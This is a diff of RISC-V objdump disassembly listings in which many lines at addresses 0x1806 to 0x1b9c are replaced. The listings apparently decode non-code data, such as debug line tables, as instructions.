+    1806:	0305                	addi	t1,t1,1
+    1808:	0306                	slli	t1,t1,0x1
+    180a:	0902                	c.slli64	s2
+    180c:	0004                	0x4
+    180e:	0501                	addi	a0,a0,0
+    1810:	0605                	addi	a2,a2,1
+    1812:	00090003          	lb	zero,0(s2)
+    1816:	0100                	addi	s0,sp,128
+    1818:	0405                	addi	s0,s0,1
+    181a:	0306                	slli	t1,t1,0x1
+    181c:	0901                	addi	s2,s2,0
+    181e:	0004                	0x4
+    1820:	0501                	addi	a0,a0,0
+    1822:	0900030f          	0x900030f
+    1826:	0006                	c.slli	zero,0x1
+    1828:	0501                	addi	a0,a0,0
+    182a:	09040303          	lb	t1,144(s0) # 18090 <__stack_size+0x17890>
+    182e:	0000                	unimp
+    1830:	0501                	addi	a0,a0,0
+    1832:	0315                	addi	t1,t1,5
+    1834:	0900                	addi	s0,sp,144
+    1836:	0000                	unimp
+    1838:	0301                	addi	t1,t1,0
+    183a:	0900                	addi	s0,sp,144
+    183c:	0000                	unimp
+    183e:	0301                	addi	t1,t1,0
+    1840:	0900                	addi	s0,sp,144
+    1842:	0000                	unimp
+    1844:	0301                	addi	t1,t1,0
+    1846:	0900                	addi	s0,sp,144
+    1848:	0000                	unimp
+    184a:	0301                	addi	t1,t1,0
+    184c:	0900                	addi	s0,sp,144
+    184e:	0000                	unimp
+    1850:	0301                	addi	t1,t1,0
+    1852:	0900                	addi	s0,sp,144
+    1854:	0000                	unimp
+    1856:	0301                	addi	t1,t1,0
+    1858:	0900                	addi	s0,sp,144
+    185a:	0008                	0x8
+    185c:	0501                	addi	a0,a0,0
+    185e:	00030613          	mv	a2,t1
+    1862:	0009                	c.nop	2
+    1864:	0100                	addi	s0,sp,128
+    1866:	1505                	addi	a0,a0,-31
+    1868:	02090003          	lb	zero,32(s2)
+    186c:	0100                	addi	s0,sp,128
     186e:	0306                	slli	t1,t1,0x1
     1870:	0900                	addi	s0,sp,144
-    1872:	0000                	unimp
-    1874:	0501                	addi	a0,a0,0
-    1876:	0015                	c.nop	5
-    1878:	0402                	c.slli64	s0
+    1872:	0002                	c.slli64	zero
+    1874:	0301                	addi	t1,t1,0
+    1876:	0900                	addi	s0,sp,144
+    1878:	0002                	c.slli64	zero
     187a:	0301                	addi	t1,t1,0
     187c:	0900                	addi	s0,sp,144
     187e:	0002                	c.slli64	zero
-    1880:	0501                	addi	a0,a0,0
-    1882:	0026                	c.slli	zero,0x9
-    1884:	0402                	c.slli64	s0
-    1886:	0302                	c.slli64	t1
-    1888:	0900                	addi	s0,sp,144
-    188a:	0004                	0x4
-    188c:	0501                	addi	a0,a0,0
-    188e:	0604                	addi	s1,sp,768
-    1890:	04090103          	lb	sp,64(s2)
-    1894:	0100                	addi	s0,sp,128
-    1896:	1f05                	addi	t5,t5,-31
-    1898:	0306                	slli	t1,t1,0x1
-    189a:	0900                	addi	s0,sp,144
-    189c:	0000                	unimp
-    189e:	0501                	addi	a0,a0,0
-    18a0:	031d                	addi	t1,t1,7
-    18a2:	0900                	addi	s0,sp,144
-    18a4:	000a                	c.slli	zero,0x2
-    18a6:	0501                	addi	a0,a0,0
-    18a8:	0604                	addi	s1,sp,768
-    18aa:	06090103          	lb	sp,96(s2)
-    18ae:	0100                	addi	s0,sp,128
-    18b0:	1f05                	addi	t5,t5,-31
-    18b2:	0306                	slli	t1,t1,0x1
-    18b4:	0900                	addi	s0,sp,144
-    18b6:	0000                	unimp
-    18b8:	0501                	addi	a0,a0,0
-    18ba:	031d                	addi	t1,t1,7
-    18bc:	0900                	addi	s0,sp,144
-    18be:	000a                	c.slli	zero,0x2
-    18c0:	0501                	addi	a0,a0,0
-    18c2:	0604                	addi	s1,sp,768
-    18c4:	02090103          	lb	sp,32(s2)
+    1880:	0301                	addi	t1,t1,0
+    1882:	0900                	addi	s0,sp,144
+    1884:	0002                	c.slli64	zero
+    1886:	0501                	addi	a0,a0,0
+    1888:	00030613          	mv	a2,t1
+    188c:	0009                	c.nop	2
+    188e:	0100                	addi	s0,sp,128
+    1890:	0805                	addi	a6,a6,1
+    1892:	0306                	slli	t1,t1,0x1
+    1894:	0971                	addi	s2,s2,28
+    1896:	0002                	c.slli64	zero
+    1898:	0501                	addi	a0,a0,0
+    189a:	0605                	addi	a2,a2,1
+    189c:	00090203          	lb	tp,0(s2)
+    18a0:	0100                	addi	s0,sp,128
+    18a2:	0205                	addi	tp,tp,1
+    18a4:	0306                	slli	t1,t1,0x1
+    18a6:	0910                	addi	a2,sp,144
+    18a8:	0002                	c.slli64	zero
+    18aa:	0301                	addi	t1,t1,0
+    18ac:	0902                	c.slli64	s2
+    18ae:	0000                	unimp
+    18b0:	0501                	addi	a0,a0,0
+    18b2:	0601                	addi	a2,a2,0
+    18b4:	00090303          	lb	t1,0(s2)
+    18b8:	0100                	addi	s0,sp,128
+    18ba:	0705                	addi	a4,a4,1
+    18bc:	0c097d03          	0xc097d03
+    18c0:	0100                	addi	s0,sp,128
+    18c2:	0105                	addi	sp,sp,1
+    18c4:	02090303          	lb	t1,32(s2)
     18c8:	0100                	addi	s0,sp,128
-    18ca:	1f05                	addi	t5,t5,-31
-    18cc:	0306                	slli	t1,t1,0x1
-    18ce:	0900                	addi	s0,sp,144
-    18d0:	0000                	unimp
-    18d2:	0501                	addi	a0,a0,0
-    18d4:	031d                	addi	t1,t1,7
-    18d6:	0900                	addi	s0,sp,144
-    18d8:	000a                	c.slli	zero,0x2
-    18da:	0501                	addi	a0,a0,0
-    18dc:	0604                	addi	s1,sp,768
-    18de:	02090103          	lb	sp,32(s2)
-    18e2:	0100                	addi	s0,sp,128
-    18e4:	1d05                	addi	s10,s10,-31
-    18e6:	0306                	slli	t1,t1,0x1
-    18e8:	0900                	addi	s0,sp,144
-    18ea:	0000                	unimp
-    18ec:	0501                	addi	a0,a0,0
-    18ee:	060a                	slli	a2,a2,0x2
-    18f0:	06090103          	lb	sp,96(s2)
-    18f4:	0100                	addi	s0,sp,128
-    18f6:	0905                	addi	s2,s2,1
-    18f8:	0a090303          	lb	t1,160(s2)
-    18fc:	0100                	addi	s0,sp,128
-    18fe:	0d05                	addi	s10,s10,1
-    1900:	0306                	slli	t1,t1,0x1
-    1902:	0900                	addi	s0,sp,144
-    1904:	0000                	unimp
-    1906:	0501                	addi	a0,a0,0
-    1908:	030c                	addi	a1,sp,384
-    190a:	0900                	addi	s0,sp,144
-    190c:	000e                	c.slli	zero,0x3
+    18ca:	0705                	addi	a4,a4,1
+    18cc:	02097d03          	0x2097d03
+    18d0:	0100                	addi	s0,sp,128
+    18d2:	0105                	addi	sp,sp,1
+    18d4:	02090303          	lb	t1,32(s2)
+    18d8:	0100                	addi	s0,sp,128
+    18da:	0705                	addi	a4,a4,1
+    18dc:	02097d03          	0x2097d03
+    18e0:	0100                	addi	s0,sp,128
+    18e2:	0209                	addi	tp,tp,2
+    18e4:	0000                	unimp
+    18e6:	0101                	addi	sp,sp,0
+    18e8:	6205                	lui	tp,0x1
+    18ea:	0500                	addi	s0,sp,640
+    18ec:	1002                	c.slli	zero,0x20
+    18ee:	401f 0320 00d1      	0xd10320401f
+    18f4:	0501                	addi	a0,a0,0
+    18f6:	09010303          	lb	t1,144(sp)
+    18fa:	0000                	unimp
+    18fc:	0301                	addi	t1,t1,0
+    18fe:	0901                	addi	s2,s2,0
+    1900:	0000                	unimp
+    1902:	0301                	addi	t1,t1,0
+    1904:	0901                	addi	s2,s2,0
+    1906:	0000                	unimp
+    1908:	0301                	addi	t1,t1,0
+    190a:	0901                	addi	s2,s2,0
+    190c:	0000                	unimp
     190e:	0501                	addi	a0,a0,0
-    1910:	02030603          	lb	a2,32(t1)
-    1914:	0209                	addi	tp,tp,2
+    1910:	0662                	slli	a2,a2,0x18
+    1912:	00097c03          	0x97c03
     1916:	0100                	addi	s0,sp,128
-    1918:	0605                	addi	a2,a2,1
-    191a:	0306                	slli	t1,t1,0x1
-    191c:	0900                	addi	s0,sp,144
-    191e:	0000                	unimp
-    1920:	0501                	addi	a0,a0,0
-    1922:	0015                	c.nop	5
-    1924:	0402                	c.slli64	s0
-    1926:	0301                	addi	t1,t1,0
-    1928:	0900                	addi	s0,sp,144
-    192a:	0002                	c.slli64	zero
-    192c:	0501                	addi	a0,a0,0
-    192e:	04020037          	lui	zero,0x4020
-    1932:	09000303          	lb	t1,144(zero) # 90 <__stack_size-0x770>
-    1936:	0012                	c.slli	zero,0x4
-    1938:	0501                	addi	a0,a0,0
-    193a:	0604                	addi	s1,sp,768
-    193c:	04090103          	lb	sp,64(s2)
-    1940:	0100                	addi	s0,sp,128
-    1942:	1205                	addi	tp,tp,-31
-    1944:	00090003          	lb	zero,0(s2)
-    1948:	0100                	addi	s0,sp,128
-    194a:	0405                	addi	s0,s0,1
-    194c:	0a090103          	lb	sp,160(s2)
-    1950:	0100                	addi	s0,sp,128
-    1952:	0905                	addi	s2,s2,1
-    1954:	00090003          	lb	zero,0(s2)
-    1958:	0100                	addi	s0,sp,128
-    195a:	00090003          	lb	zero,0(s2)
-    195e:	0100                	addi	s0,sp,128
-    1960:	18090003          	lb	zero,384(s2)
-    1964:	0100                	addi	s0,sp,128
-    1966:	0705                	addi	a4,a4,1
-    1968:	0306                	slli	t1,t1,0x1
+    1918:	0305                	addi	t1,t1,1
+    191a:	0a090403          	lb	s0,160(s2)
+    191e:	0100                	addi	s0,sp,128
+    1920:	6205                	lui	tp,0x1
+    1922:	06097c03          	0x6097c03
+    1926:	0100                	addi	s0,sp,128
+    1928:	0305                	addi	t1,t1,1
+    192a:	0a090403          	lb	s0,160(s2)
+    192e:	0100                	addi	s0,sp,128
+    1930:	0306                	slli	t1,t1,0x1
+    1932:	0901                	addi	s2,s2,0
+    1934:	0002                	c.slli64	zero
+    1936:	0501                	addi	a0,a0,0
+    1938:	09000307          	0x9000307
+    193c:	0000                	unimp
+    193e:	0301                	addi	t1,t1,0
+    1940:	0900                	addi	s0,sp,144
+    1942:	0000                	unimp
+    1944:	0301                	addi	t1,t1,0
+    1946:	0900                	addi	s0,sp,144
+    1948:	0000                	unimp
+    194a:	0301                	addi	t1,t1,0
+    194c:	0900                	addi	s0,sp,144
+    194e:	0000                	unimp
+    1950:	0301                	addi	t1,t1,0
+    1952:	0900                	addi	s0,sp,144
+    1954:	0000                	unimp
+    1956:	0301                	addi	t1,t1,0
+    1958:	0900                	addi	s0,sp,144
+    195a:	0000                	unimp
+    195c:	0301                	addi	t1,t1,0
+    195e:	0900                	addi	s0,sp,144
+    1960:	0008                	0x8
+    1962:	0301                	addi	t1,t1,0
+    1964:	0900                	addi	s0,sp,144
+    1966:	0002                	c.slli64	zero
+    1968:	0301                	addi	t1,t1,0
     196a:	0900                	addi	s0,sp,144
-    196c:	0000                	unimp
-    196e:	0501                	addi	a0,a0,0
-    1970:	0605                	addi	a2,a2,1
-    1972:	02090103          	lb	sp,32(s2)
-    1976:	0100                	addi	s0,sp,128
-    1978:	0306                	slli	t1,t1,0x1
-    197a:	0008090b          	0x8090b
-    197e:	0501                	addi	a0,a0,0
-    1980:	097b0337          	lui	t1,0x97b0
-    1984:	0004                	0x4
-    1986:	0501                	addi	a0,a0,0
-    1988:	060a                	slli	a2,a2,0x2
-    198a:	02097b03          	0x2097b03
-    198e:	0100                	addi	s0,sp,128
-    1990:	0905                	addi	s2,s2,1
-    1992:	0a090303          	lb	t1,160(s2)
-    1996:	0100                	addi	s0,sp,128
-    1998:	0d05                	addi	s10,s10,1
-    199a:	0306                	slli	t1,t1,0x1
-    199c:	0900                	addi	s0,sp,144
-    199e:	0000                	unimp
-    19a0:	0501                	addi	a0,a0,0
-    19a2:	030c                	addi	a1,sp,384
-    19a4:	0900                	addi	s0,sp,144
-    19a6:	000e                	c.slli	zero,0x3
-    19a8:	0501                	addi	a0,a0,0
-    19aa:	02030603          	lb	a2,32(t1) # 97b0020 <__stack_size+0x97af820>
-    19ae:	0209                	addi	tp,tp,2
-    19b0:	0100                	addi	s0,sp,128
-    19b2:	0605                	addi	a2,a2,1
-    19b4:	0306                	slli	t1,t1,0x1
-    19b6:	0900                	addi	s0,sp,144
-    19b8:	0000                	unimp
-    19ba:	0501                	addi	a0,a0,0
-    19bc:	001d                	c.nop	7
-    19be:	0402                	c.slli64	s0
-    19c0:	0301                	addi	t1,t1,0
-    19c2:	0900                	addi	s0,sp,144
-    19c4:	0002                	c.slli64	zero
-    19c6:	0501                	addi	a0,a0,0
-    19c8:	0015                	c.nop	5
-    19ca:	0402                	c.slli64	s0
-    19cc:	0301                	addi	t1,t1,0
-    19ce:	0900                	addi	s0,sp,144
-    19d0:	0004                	0x4
-    19d2:	0501                	addi	a0,a0,0
-    19d4:	0604                	addi	s1,sp,768
-    19d6:	0e090103          	lb	sp,224(s2)
-    19da:	0100                	addi	s0,sp,128
-    19dc:	00090103          	lb	sp,0(s2)
-    19e0:	0100                	addi	s0,sp,128
-    19e2:	0805                	addi	a6,a6,1
-    19e4:	00090003          	lb	zero,0(s2)
-    19e8:	0100                	addi	s0,sp,128
-    19ea:	00090003          	lb	zero,0(s2)
-    19ee:	0100                	addi	s0,sp,128
-    19f0:	00090003          	lb	zero,0(s2)
+    196c:	0002                	c.slli64	zero
+    196e:	0301                	addi	t1,t1,0
+    1970:	0900                	addi	s0,sp,144
+    1972:	0002                	c.slli64	zero
+    1974:	0301                	addi	t1,t1,0
+    1976:	0900                	addi	s0,sp,144
+    1978:	0002                	c.slli64	zero
+    197a:	0501                	addi	a0,a0,0
+    197c:	0606                	slli	a2,a2,0x1
+    197e:	00090003          	lb	zero,0(s2)
+    1982:	0100                	addi	s0,sp,128
+    1984:	0c05                	addi	s8,s8,1
+    1986:	02091b03          	lh	s6,32(s2)
+    198a:	0100                	addi	s0,sp,128
+    198c:	0405                	addi	s0,s0,1
+    198e:	0306                	slli	t1,t1,0x1
+    1990:	0966                	slli	s2,s2,0x19
+    1992:	0004                	0x4
+    1994:	0501                	addi	a0,a0,0
+    1996:	00030607          	0x30607
+    199a:	0009                	c.nop	2
+    199c:	0100                	addi	s0,sp,128
+    199e:	0605                	addi	a2,a2,1
+    19a0:	1c090003          	lb	zero,448(s2)
+    19a4:	0100                	addi	s0,sp,128
+    19a6:	0505                	addi	a0,a0,1
+    19a8:	0306                	slli	t1,t1,0x1
+    19aa:	0901                	addi	s2,s2,0
+    19ac:	0002                	c.slli64	zero
+    19ae:	0301                	addi	t1,t1,0
+    19b0:	0901                	addi	s2,s2,0
+    19b2:	0000                	unimp
+    19b4:	0501                	addi	a0,a0,0
+    19b6:	065e                	slli	a2,a2,0x17
+    19b8:	00090003          	lb	zero,0(s2)
+    19bc:	0100                	addi	s0,sp,128
+    19be:	4105                	li	sp,1
+    19c0:	0c090003          	lb	zero,192(s2)
+    19c4:	0100                	addi	s0,sp,128
+    19c6:	0505                	addi	a0,a0,1
+    19c8:	04090003          	lb	zero,64(s2)
+    19cc:	0100                	addi	s0,sp,128
+    19ce:	0306                	slli	t1,t1,0x1
+    19d0:	0901                	addi	s2,s2,0
+    19d2:	0010                	0x10
+    19d4:	0501                	addi	a0,a0,0
+    19d6:	060a                	slli	a2,a2,0x2
+    19d8:	00090003          	lb	zero,0(s2)
+    19dc:	0100                	addi	s0,sp,128
+    19de:	0505                	addi	a0,a0,1
+    19e0:	0306                	slli	t1,t1,0x1
+    19e2:	0901                	addi	s2,s2,0
+    19e4:	0008                	0x8
+    19e6:	0301                	addi	t1,t1,0
+    19e8:	0901                	addi	s2,s2,0
+    19ea:	000a                	c.slli	zero,0x2
+    19ec:	0501                	addi	a0,a0,0
+    19ee:	0601                	addi	a2,a2,0
+    19f0:	00091b03          	lh	s6,0(s2)
     19f4:	0100                	addi	s0,sp,128
-    19f6:	00090003          	lb	zero,0(s2)
-    19fa:	0100                	addi	s0,sp,128
-    19fc:	00090003          	lb	zero,0(s2)
-    1a00:	0100                	addi	s0,sp,128
-    1a02:	00090003          	lb	zero,0(s2)
+    19f6:	0505                	addi	a0,a0,1
+    19f8:	0306                	slli	t1,t1,0x1
+    19fa:	096a                	slli	s2,s2,0x1a
+    19fc:	0014                	0x14
+    19fe:	0501                	addi	a0,a0,0
+    1a00:	00030627          	0x30627
+    1a04:	0009                	c.nop	2
     1a06:	0100                	addi	s0,sp,128
-    1a08:	0c090003          	lb	zero,192(s2)
-    1a0c:	0100                	addi	s0,sp,128
-    1a0e:	02090003          	lb	zero,32(s2)
-    1a12:	0100                	addi	s0,sp,128
-    1a14:	02090003          	lb	zero,32(s2)
-    1a18:	0100                	addi	s0,sp,128
-    1a1a:	02090003          	lb	zero,32(s2)
-    1a1e:	0100                	addi	s0,sp,128
-    1a20:	02090003          	lb	zero,32(s2)
-    1a24:	0100                	addi	s0,sp,128
-    1a26:	0705                	addi	a4,a4,1
-    1a28:	0306                	slli	t1,t1,0x1
-    1a2a:	0900                	addi	s0,sp,144
-    1a2c:	0000                	unimp
-    1a2e:	0501                	addi	a0,a0,0
-    1a30:	0605                	addi	a2,a2,1
-    1a32:	02090103          	lb	sp,32(s2)
+    1a08:	1705                	addi	a4,a4,-31
+    1a0a:	04090003          	lb	zero,64(s2)
+    1a0e:	0100                	addi	s0,sp,128
+    1a10:	0505                	addi	a0,a0,1
+    1a12:	0c090003          	lb	zero,192(s2)
+    1a16:	0100                	addi	s0,sp,128
+    1a18:	0306                	slli	t1,t1,0x1
+    1a1a:	0901                	addi	s2,s2,0
+    1a1c:	000a                	c.slli	zero,0x2
+    1a1e:	0501                	addi	a0,a0,0
+    1a20:	00030623          	sb	zero,12(t1) # ffff900c <_heap_end+0x7ffea80c>
+    1a24:	0009                	c.nop	2
+    1a26:	0100                	addi	s0,sp,128
+    1a28:	2805                	jal	1a58 <__stack_size+0x1258>
+    1a2a:	04090103          	lb	sp,64(s2)
+    1a2e:	0100                	addi	s0,sp,128
+    1a30:	2305                	jal	1f50 <__stack_size+0x1750>
+    1a32:	0a097f03          	0xa097f03
     1a36:	0100                	addi	s0,sp,128
-    1a38:	10090203          	lb	tp,256(s2)
-    1a3c:	0100                	addi	s0,sp,128
-    1a3e:	0a05                	addi	s4,s4,1
-    1a40:	0a090103          	lb	sp,160(s2)
-    1a44:	0100                	addi	s0,sp,128
-    1a46:	0905                	addi	s2,s2,1
-    1a48:	0a090303          	lb	t1,160(s2)
-    1a4c:	0100                	addi	s0,sp,128
-    1a4e:	0d05                	addi	s10,s10,1
-    1a50:	0306                	slli	t1,t1,0x1
-    1a52:	0900                	addi	s0,sp,144
-    1a54:	0000                	unimp
-    1a56:	0501                	addi	a0,a0,0
-    1a58:	030c                	addi	a1,sp,384
-    1a5a:	0900                	addi	s0,sp,144
-    1a5c:	000e                	c.slli	zero,0x3
-    1a5e:	0501                	addi	a0,a0,0
-    1a60:	02030603          	lb	a2,32(t1)
-    1a64:	0209                	addi	tp,tp,2
-    1a66:	0100                	addi	s0,sp,128
-    1a68:	1c05                	addi	s8,s8,-31
-    1a6a:	00090003          	lb	zero,0(s2)
-    1a6e:	0100                	addi	s0,sp,128
-    1a70:	00090003          	lb	zero,0(s2)
-    1a74:	0100                	addi	s0,sp,128
-    1a76:	0a090003          	lb	zero,160(s2)
-    1a7a:	0100                	addi	s0,sp,128
-    1a7c:	0305                	addi	t1,t1,1
-    1a7e:	02090103          	lb	sp,32(s2)
-    1a82:	0100                	addi	s0,sp,128
-    1a84:	1005                	c.nop	-31
-    1a86:	06090003          	lb	zero,96(s2)
-    1a8a:	0100                	addi	s0,sp,128
-    1a8c:	0305                	addi	t1,t1,1
-    1a8e:	00090103          	lb	sp,0(s2)
+    1a38:	0505                	addi	a0,a0,1
+    1a3a:	0306                	slli	t1,t1,0x1
+    1a3c:	0901                	addi	s2,s2,0
+    1a3e:	0002                	c.slli64	zero
+    1a40:	0501                	addi	a0,a0,0
+    1a42:	0641                	addi	a2,a2,16
+    1a44:	00090003          	lb	zero,0(s2)
+    1a48:	0100                	addi	s0,sp,128
+    1a4a:	0805                	addi	a6,a6,1
+    1a4c:	04090003          	lb	zero,64(s2)
+    1a50:	0100                	addi	s0,sp,128
+    1a52:	2305                	jal	1f72 <__stack_size+0x1772>
+    1a54:	04097f03          	0x4097f03
+    1a58:	0100                	addi	s0,sp,128
+    1a5a:	0505                	addi	a0,a0,1
+    1a5c:	0306                	slli	t1,t1,0x1
+    1a5e:	0904                	addi	s1,sp,144
+    1a60:	0004                	0x4
+    1a62:	0501                	addi	a0,a0,0
+    1a64:	060a                	slli	a2,a2,0x2
+    1a66:	00090003          	lb	zero,0(s2)
+    1a6a:	0100                	addi	s0,sp,128
+    1a6c:	0805                	addi	a6,a6,1
+    1a6e:	08090003          	lb	zero,128(s2)
+    1a72:	0100                	addi	s0,sp,128
+    1a74:	0605                	addi	a2,a2,1
+    1a76:	0306                	slli	t1,t1,0x1
+    1a78:	0902                	c.slli64	s2
+    1a7a:	0006                	c.slli	zero,0x1
+    1a7c:	0501                	addi	a0,a0,0
+    1a7e:	09010307          	0x9010307
+    1a82:	0010                	0x10
+    1a84:	0301                	addi	t1,t1,0
+    1a86:	0901                	addi	s2,s2,0
+    1a88:	000e                	c.slli	zero,0x3
+    1a8a:	0501                	addi	a0,a0,0
+    1a8c:	0003060b          	0x3060b
+    1a90:	0009                	c.nop	2
     1a92:	0100                	addi	s0,sp,128
-    1a94:	1c05                	addi	s8,s8,-31
-    1a96:	00090003          	lb	zero,0(s2)
+    1a94:	0a05                	addi	s4,s4,1
+    1a96:	08090003          	lb	zero,128(s2)
     1a9a:	0100                	addi	s0,sp,128
-    1a9c:	00090003          	lb	zero,0(s2)
-    1aa0:	0100                	addi	s0,sp,128
-    1aa2:	08090003          	lb	zero,128(s2)
-    1aa6:	0100                	addi	s0,sp,128
-    1aa8:	0305                	addi	t1,t1,1
-    1aaa:	00090103          	lb	sp,0(s2)
-    1aae:	0100                	addi	s0,sp,128
-    1ab0:	1705                	addi	a4,a4,-31
+    1a9c:	3805                	jal	12cc <__stack_size+0xacc>
+    1a9e:	0200                	addi	s0,sp,256
+    1aa0:	0104                	addi	s1,sp,128
+    1aa2:	0306                	slli	t1,t1,0x1
+    1aa4:	0900                	addi	s0,sp,144
+    1aa6:	0002                	c.slli64	zero
+    1aa8:	0501                	addi	a0,a0,0
+    1aaa:	09010307          	0x9010307
+    1aae:	000a                	c.slli	zero,0x2
+    1ab0:	0501                	addi	a0,a0,0
     1ab2:	0306                	slli	t1,t1,0x1
-    1ab4:	0900                	addi	s0,sp,144
-    1ab6:	0000                	unimp
+    1ab4:	0901                	addi	s2,s2,0
+    1ab6:	000c                	0xc
     1ab8:	0501                	addi	a0,a0,0
-    1aba:	01030603          	lb	a2,16(t1)
-    1abe:	0409                	addi	s0,s0,2
+    1aba:	02030623          	sb	zero,44(t1)
+    1abe:	0c09                	addi	s8,s8,2
     1ac0:	0100                	addi	s0,sp,128
-    1ac2:	1205                	addi	tp,tp,-31
-    1ac4:	0306                	slli	t1,t1,0x1
-    1ac6:	0900                	addi	s0,sp,144
-    1ac8:	0000                	unimp
-    1aca:	0501                	addi	a0,a0,0
-    1acc:	01030603          	lb	a2,16(t1)
-    1ad0:	0409                	addi	s0,s0,2
-    1ad2:	0100                	addi	s0,sp,128
-    1ad4:	0905                	addi	s2,s2,1
-    1ad6:	16090303          	lb	t1,352(s2)
-    1ada:	0100                	addi	s0,sp,128
-    1adc:	0d05                	addi	s10,s10,1
-    1ade:	0306                	slli	t1,t1,0x1
-    1ae0:	0900                	addi	s0,sp,144
-    1ae2:	0000                	unimp
-    1ae4:	0501                	addi	a0,a0,0
-    1ae6:	030c                	addi	a1,sp,384
-    1ae8:	0900                	addi	s0,sp,144
-    1aea:	000e                	c.slli	zero,0x3
-    1aec:	0501                	addi	a0,a0,0
-    1aee:	02030603          	lb	a2,32(t1)
-    1af2:	0209                	addi	tp,tp,2
-    1af4:	0100                	addi	s0,sp,128
-    1af6:	0605                	addi	a2,a2,1
-    1af8:	0306                	slli	t1,t1,0x1
-    1afa:	0900                	addi	s0,sp,144
-    1afc:	0000                	unimp
+    1ac2:	0605                	addi	a2,a2,1
+    1ac4:	02097e03          	0x2097e03
+    1ac8:	0100                	addi	s0,sp,128
+    1aca:	0306                	slli	t1,t1,0x1
+    1acc:	0902                	c.slli64	s2
+    1ace:	0004                	0x4
+    1ad0:	0501                	addi	a0,a0,0
+    1ad2:	00030623          	sb	zero,12(t1)
+    1ad6:	0009                	c.nop	2
+    1ad8:	0100                	addi	s0,sp,128
+    1ada:	0605                	addi	a2,a2,1
+    1adc:	0306                	slli	t1,t1,0x1
+    1ade:	0976                	slli	s2,s2,0x1d
+    1ae0:	0006                	c.slli	zero,0x1
+    1ae2:	0501                	addi	a0,a0,0
+    1ae4:	00030623          	sb	zero,12(t1)
+    1ae8:	0009                	c.nop	2
+    1aea:	0100                	addi	s0,sp,128
+    1aec:	0609                	addi	a2,a2,2
+    1aee:	0000                	unimp
+    1af0:	0101                	addi	sp,sp,0
+    1af2:	0105                	addi	sp,sp,1
+    1af4:	0500                	addi	s0,sp,640
+    1af6:	0002                	c.slli64	zero
+    1af8:	0000                	unimp
+    1afa:	0300                	addi	s0,sp,384
+    1afc:	00fa                	slli	ra,ra,0x1e
     1afe:	0501                	addi	a0,a0,0
-    1b00:	0604                	addi	s1,sp,768
-    1b02:	02090103          	lb	sp,32(s2)
-    1b06:	0100                	addi	s0,sp,128
-    1b08:	1c05                	addi	s8,s8,-31
-    1b0a:	0306                	slli	t1,t1,0x1
-    1b0c:	0900                	addi	s0,sp,144
-    1b0e:	0000                	unimp
-    1b10:	0501                	addi	a0,a0,0
-    1b12:	0318                	addi	a4,sp,384
-    1b14:	0900                	addi	s0,sp,144
-    1b16:	000a                	c.slli	zero,0x2
-    1b18:	0501                	addi	a0,a0,0
-    1b1a:	0604                	addi	s1,sp,768
-    1b1c:	06090103          	lb	sp,96(s2)
-    1b20:	0100                	addi	s0,sp,128
-    1b22:	1805                	addi	a6,a6,-31
-    1b24:	00090003          	lb	zero,0(s2)
-    1b28:	0100                	addi	s0,sp,128
-    1b2a:	00090003          	lb	zero,0(s2)
-    1b2e:	0100                	addi	s0,sp,128
-    1b30:	06090003          	lb	zero,96(s2)
+    1b00:	0302                	c.slli64	t1
+    1b02:	0901                	addi	s2,s2,0
+    1b04:	0000                	unimp
+    1b06:	0301                	addi	t1,t1,0
+    1b08:	0901                	addi	s2,s2,0
+    1b0a:	0000                	unimp
+    1b0c:	0501                	addi	a0,a0,0
+    1b0e:	0601                	addi	a2,a2,0
+    1b10:	00097e03          	0x97e03
+    1b14:	0100                	addi	s0,sp,128
+    1b16:	0205                	addi	tp,tp,1
+    1b18:	00090203          	lb	tp,0(s2)
+    1b1c:	0100                	addi	s0,sp,128
+    1b1e:	0105                	addi	sp,sp,1
+    1b20:	00097e03          	0x97e03
+    1b24:	0100                	addi	s0,sp,128
+    1b26:	0205                	addi	tp,tp,1
+    1b28:	00090203          	lb	tp,0(s2)
+    1b2c:	0100                	addi	s0,sp,128
+    1b2e:	0105                	addi	sp,sp,1
+    1b30:	00097e03          	0x97e03
     1b34:	0100                	addi	s0,sp,128
-    1b36:	1f05                	addi	t5,t5,-31
-    1b38:	0306                	slli	t1,t1,0x1
-    1b3a:	0901                	addi	s2,s2,0
-    1b3c:	0000                	unimp
-    1b3e:	0501                	addi	a0,a0,0
-    1b40:	0318                	addi	a4,sp,384
-    1b42:	097f                	0x97f
-    1b44:	0006                	c.slli	zero,0x1
-    1b46:	0501                	addi	a0,a0,0
-    1b48:	0604                	addi	s1,sp,768
-    1b4a:	04090103          	lb	sp,64(s2)
-    1b4e:	0100                	addi	s0,sp,128
-    1b50:	1f05                	addi	t5,t5,-31
-    1b52:	0306                	slli	t1,t1,0x1
+    1b36:	0205                	addi	tp,tp,1
+    1b38:	00090203          	lb	tp,0(s2)
+    1b3c:	0100                	addi	s0,sp,128
+    1b3e:	0306                	slli	t1,t1,0x1
+    1b40:	0901                	addi	s2,s2,0
+    1b42:	0000                	unimp
+    1b44:	0501                	addi	a0,a0,0
+    1b46:	0306                	slli	t1,t1,0x1
+    1b48:	0900                	addi	s0,sp,144
+    1b4a:	0000                	unimp
+    1b4c:	0301                	addi	t1,t1,0
+    1b4e:	0900                	addi	s0,sp,144
+    1b50:	0000                	unimp
+    1b52:	0301                	addi	t1,t1,0
     1b54:	0900                	addi	s0,sp,144
     1b56:	0000                	unimp
-    1b58:	0501                	addi	a0,a0,0
-    1b5a:	0328                	addi	a0,sp,392
-    1b5c:	0900                	addi	s0,sp,144
-    1b5e:	0004                	0x4
-    1b60:	0501                	addi	a0,a0,0
-    1b62:	09000313          	li	t1,144
-    1b66:	000e                	c.slli	zero,0x3
-    1b68:	0501                	addi	a0,a0,0
-    1b6a:	0604                	addi	s1,sp,768
-    1b6c:	0c090103          	lb	sp,192(s2)
-    1b70:	0100                	addi	s0,sp,128
-    1b72:	1705                	addi	a4,a4,-31
-    1b74:	0a090003          	lb	zero,160(s2)
-    1b78:	0100                	addi	s0,sp,128
-    1b7a:	0405                	addi	s0,s0,1
-    1b7c:	00090103          	lb	sp,0(s2)
-    1b80:	0100                	addi	s0,sp,128
-    1b82:	2105                	jal	1fa2 <__stack_size+0x17a2>
-    1b84:	0306                	slli	t1,t1,0x1
-    1b86:	0901                	addi	s2,s2,0
-    1b88:	0000                	unimp
-    1b8a:	0501                	addi	a0,a0,0
-    1b8c:	0326                	slli	t1,t1,0x9
-    1b8e:	0900                	addi	s0,sp,144
-    1b90:	0008                	0x8
-    1b92:	0501                	addi	a0,a0,0
-    1b94:	0321                	addi	t1,t1,8
-    1b96:	0900                	addi	s0,sp,144
-    1b98:	0008                	0x8
-    1b9a:	0501                	addi	a0,a0,0
-    1b9c:	0326                	slli	t1,t1,0x9
